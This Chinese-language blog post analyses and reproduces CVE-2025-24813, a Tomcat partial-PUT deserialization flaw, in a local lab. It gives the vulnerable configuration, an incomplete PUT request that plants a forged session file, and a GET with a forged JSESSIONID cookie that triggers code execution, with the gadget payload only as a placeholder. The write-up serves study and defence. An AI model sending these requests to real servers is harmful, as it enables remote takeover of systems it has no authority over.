CVE-2025-24813 漏洞分析
____ _     _ _____     ____   ___  ____  ____       ____  _  _    ___  _ _____ 
 / ___| \   / | ____|   |___ \ / _ \|___ \| ___|     |___ \| || |  ( _ )/ |___ / 
| |    \ \ / /|  _| _____ __) | | | | __) |___ \ _____ __) | || |_ / _ \| | |_ \ 
| |___  \ V / | |__|_____/ __/| |_| |/ __/ ___) |_____/ __/|__   _| (_) | |___) |
 \____|  \_/  |_____|   |_____|\___/|_____|____/     |_____|  |_|  \___/|_|____/

一、漏洞概况

1. 利用条件
  1. 不安全的 Servlet 配置:目标应用的 DefaultServlet 被错误配置为允许写入操作(默认禁用)

  2. 支持分片传输:服务器支持 PUT 请求及 Range 头处理,允许攻击者向现有文件追加或修改特定内容的序列化数据(默认启用)

  3. 基于文件的会话持久化:应用启用了 Tomcat 的文件会话存储机制,且存储路径未做修改,使用默认位置(额外配置)

  4. 存在反序列化利用链:应用的 CLASSPATH 中包含存在反序列化漏洞的第三方依赖库(如 commons-collections

在该漏洞的实际利用过程中,攻击的可行性会受到目标环境 Java 版本的显著影响

较新版本的 JDK(如 JDK 9 及更高版本)引入了更严格的模块系统和强封装性,这些机制限制了对 Java 内部 API 的非授权反射访问,从而破坏了依赖于访问私有或内部类的反序列化利用链的执行路径

因此,特定的攻击载荷可能在老版本 JDK(如 JDK 8)上成功执行,但在升级后的 JDK 版本上会因权限检查失败而被阻断

2. 影响范围
  • 9.0.0.M1 <= tomcat <= 9.0.98
  • 10.1.0-M1 <= tomcat <= 10.1.34
  • 11.0.0-M1 <= tomcat <= 11.0.2
3. 原理分析

在处理 HTTP PUT 请求时,Content-Range 请求头主要用于管理文件的分块传输和断点续传。在文件上传尚未完成的情况下,Tomcat 会将接收到的数据存储在工作目录($CATALINA_BASE/work/Catalina/localhost/ROOT)中作为临时文件

该漏洞的利用核心在于服务器在处理 不完整 PUT 请求 时,其 URI 到临时文件名的转换逻辑存在安全缺陷,文件路径分隔符 / 会被替换为 .。例如:访问 /xxxxx/session 会被解析为 .xxxxx.session

整个漏洞利用过程:

  • Tomcat 的文件会话默认存储路径同样位于 $CATALINA_BASE/work/Catalina/localhost/ROOT
  • 发送不完整 PUT 请求上传包含恶意序列化数据的文件,将其存储到 CATALINA_BASE/work/Catalina/localhost/ROOT 并伪造为 session 文件(.xxxxx.session
  • 设置 JSESSIONID=.xxxxx 使 Tomcat 反序列化 .xxxxx.session 并执行恶意代码,以达到任意命令执行的目的

二、漏洞复现

1. 环境准备
2. 环境配置
  1. 将 JDK 8 配置为环境变量

  2. commons-collections-3.2.1.jar 放入 webapps/ROOT/WEB-INF/bin 中,以确保其被加载到应用的 CLASSPATH

  3. conf/context.xml 中,添加如下额外配置,开启文件会话存储

<Manager className="org.apache.catalina.session.PersistentManager">
  <Store className="org.apache.catalina.session.FileStore"/>
</Manager>
  1. conf/web.xml 中,将 DefaultServlet 的 readonly 配置为 false,允许写入操作
<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    ...
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>
    ...
</servlet>

各配置项的功能与详细说明,请参考 [补充内容](# 三、补充内容)

3. 复现流程

执行 ./bin/startup.bat 启动 Tomcat(Linux 执行 ./bin/startup.sh),成功访问 http://localhost:8080

利用 Java Chains 生成 K1 利用链 Base64 载荷

使用 Yakit Web Fuzzer 发送不完整 PUT 请求,在请求体中插入 Base64 解码标签和 Payload

Content-Range 请求头的基本格式如下:

Content-Range: <unit> <range-start>-<range-end>/<total-size>
  • <unit>:范围的计量单位(bytes)
  • <range-start>:包含的范围起始字节位置
  • <range-end>:包含的范围结束字节位置
  • <total-size>:完整文件的总字节数
PUT /xxxxx/session HTTP/1.1
Host: localhost:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200

{{base64dec(Base64 Payload)}}

PUT 请求发送成功后会在 $CATALINA_BASE/work/Catalina/localhost/ROOT 生成 .xxxxx.session/ 会被转换为 .

携带伪造的 JSESSION=.xxxxx 发起 GET 请求,服务器会反序列化 .xxxxx.session 并通过 K1 利用链执行任意命令

GET / HTTP/1.1
Host: localhost:8080
Cookie: JSESSIONID=.xxxxx


依次发送两个请求后会弹出计算器程序,证明漏洞利用成功

三、补充内容

1. 文件会话存储配置
<Manager className="org.apache.catalina.session.PersistentManager">
  <Store className="org.apache.catalina.session.FileStore"/>
</Manager>
  • <Manager className="...PersistentManager">:使用 PersistentManager 作为 Session 管理器
  • <Store className="...FileStore"/>:用文件系统当作存储介质,把 Session 序列化后写到磁盘文件里

webapps/ROOT/WEB-INF 中有如下 session-test.jsp

<%
    HttpSession s = request.getSession();
    Object name = s.getAttribute("username");

    if (name == null) {
        s.setAttribute("username", "Tom");
        name = "Tom (newly created)";
    } else {
        name = name + " (restored)";
    }
%>

Session ID: <%= s.getId() %><br>
Username: <%= name %><br>
Is New Session: <%= s.isNew() %><br>
  • ./bin/startup.bat:启动 Tomcat(Linux 执行 ./bin/startup.sh
  • ./bin/shutdown.bat:关闭 Tomcat(Linux 执行 ./bin/shutdown.sh

未启用文件会话存储机制:

启动 Tomcat,访问 http://localhost:8080/session-test.jsp

Session ID: 18DAF3CB7B1EAB4E64ACA072BF6406AC
Username: Tom (newly created)
Is New Session: true

关闭 Tomcat,$CATALINA_BASE/work/Catalina/localhost/ROOT 目录下生成 SESSION.ser 文件

再次启动 Tomcat,该 ser 文件被删除并加载到程序中,再次访问 http://localhost:8080/session-test.jsp

Session ID: 18DAF3CB7B1EAB4E64ACA072BF6406AC
Username: Tom (restored)
Is New Session: false

启用文件会话存储机制:

启动 Tomcat,访问 http://localhost:8080/session-test.jsp

Session ID: AF7ABC399649C8CBD0C4DE8E39BB0BF4
Username: Tom (newly created)
Is New Session: true

关闭 Tomcat,$CATALINA_BASE/work/Catalina/localhost/ROOT 目录下生成相应的 session 文件 AF7ABC399649C8CBD0C4DE8E39BB0BF4.session

再次启动 Tomcat,该 session 文件被删除并加载到程序中,再次访问 http://localhost:8080/session-test.jsp

Session ID: AF7ABC399649C8CBD0C4DE8E39BB0BF4
Username: Tom (restored)
Is New Session: false

两种配置的区别:

观察到两种配置在重启 Tomcat 前后其 session 都没有改变,但未启用文件会话存储机制只会在正常关闭 Tomcat 时将所有的 session 写入到一个快照文件 SESSION.ser 以便重启 Tomcat 时恢复 session,而启用文件会话存储机制会在运行期间自动 swap session 到磁盘,并且所有的 session 都存在有单独的文件 {session id}.session

2. Servlet 写入操作配置
<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    ...
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>
    ...
</servlet>

webapps/ROOT/files 中有如下 hello.txt

Hello World!

发送如下 HTTP PUT 请求尝试修改 hello.txt 的内容

PUT /files/hello.txt HTTP/1.1
Host: localhost:8080
Content-Length: 22

This is a new content.

readonlytrue(默认配置):

返回 405 响应状态码(方法不允许),查看 hello.txt 文件未被修改

readonlyfalse

返回 204 响应状态码,查看 hello.txt 文件被修改

参考文章:

全网首发!CVE-2025-24813 Tomcat 最新 RCE 分析复现

首先,特别感谢你能读到这里,每一份认真的阅读都是对内容创作的莫大鼓励。本文在撰写过程中,参考了多篇行业内公开的研究文献、专业分析及前辈创作者的分享成果。这些优质内容为文章观点的形成提供了重要启发与支撑,也让思考更加全面。不过因部分参考材料来自广泛的公开信息领域,未能逐一详尽标注具体出处,所以在此谨向所有致力于知识分享与行业研究的创作者,致以诚挚的感谢与敬意。

此外,若文中存在事实表述偏差、逻辑疏漏,或你对本文涉及的话题持有不同见解、希望补充相关案例与内容,欢迎通过评论区留言,或发送邮件至 puppy1599@outlook.com 与我交流。我始终相信,一篇有价值的文章从来不是单向的输出,而是通过开放讨论共同打磨的结果。期待和你一起完善对相关主题的认知,让内容的严谨性与参考价值进一步提升。
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇